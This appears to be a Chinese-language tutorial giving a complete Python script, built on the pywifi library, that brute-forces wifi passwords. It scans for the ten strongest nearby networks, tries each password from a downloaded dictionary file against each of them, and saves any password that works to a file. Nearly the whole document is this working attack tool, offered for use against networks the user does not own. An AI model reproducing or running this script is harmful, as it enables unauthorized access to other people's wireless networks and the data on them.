一、破解wifi密碼
pywifi模塊簡介
pywifi模塊簡介2
字典表下載博客
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
使用暴力破解法破解wifi密碼
需要從網上下載wifi密碼字典
可行性並不高
"""
import time
# 破解wifi庫
import pywifi
from pywifi import const
class PoJie(object):
def __init__(self, path):
# wifi密碼字典文件
self.file = open(path, 'r', errors='ignore')
# 抓取網卡接口
wifi = pywifi.PyWiFi()
# 抓取第一個網卡
self.iface = wifi.interfaces()[0]
# 測試連接時斷開所有的鏈接
self.iface.disconnect()
time.sleep(1)
self.alist = self.initialssidnamelist()
# 測試是否處於斷開狀態
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def bies(self):
# 掃描
self.iface.scan()
# 獲取掃描結果
bessis = self.iface.scan_results()
alist = []
for data in bessis:
alist.append((data.ssid, data.signal))
# 按信號強度排序
return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)
def getsignal(self):
while True:
# 獲取所有的wifi
n, data = self.bies()
time.sleep(1)
if n is not 0:
# 如果數量不為0,返回前10個信號最好的
return data[0:10]
def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
# 獲取前10個wifi的名稱
for item in ssidlist:
namelist.append(item[0])
return namelist
def readPassword(self, ssidname, myStr):
# 測試wifi名和密碼是否匹配
bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 保存密碼和wifi名到文件中
save_password_to_file(myStr, ssidname)
print('------------------------------------------------密碼正確: ' + myStr + '-----' + ssidname)
return True
else:
print('密碼錯誤: ' + myStr + ' ' + ssidname)
return False
def test_connect(self, findStr, ssidname):
"""
測試連接
:param findStr: 密碼
:param ssidname: wifi名
"""
# 創建wifi鏈接文件
profile = pywifi.Profile()
# wifi名稱
profile.ssid = ssidname
# 開放網卡
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密碼
profile.key = findStr
# 刪除所有的wifi文件
self.iface.remove_all_network_profiles()
# 設置新的鏈接文件
tmp_profile = self.iface.add_network_profile(profile)
# 連接
self.iface.connect(tmp_profile)
time.sleep(2)
# 判斷是否已經連接上
if self.iface.status() == const.IFACE_CONNECTED:
isOk = True
else:
isOk = False
self.iface.disconnect()
time.sleep(1)
# 檢查斷開狀態
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOk
def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.alist:
ret = self.readPassword(ssidname, myStr)
if ret:
raise FileExistsError
def __del__(self):
self.file.close()
def save_password_to_file(myStr, ssidname):
with open('password.txt', 'a') as fp:
fp.write(str(myStr) + '-->' + str(ssidname))
if __name__ == '__main__':
# 密碼字典文件所在路徑
path = 'E:\WIFImmzidianbao\WIFI955M.txt'
start = PoJie(path)
start.run()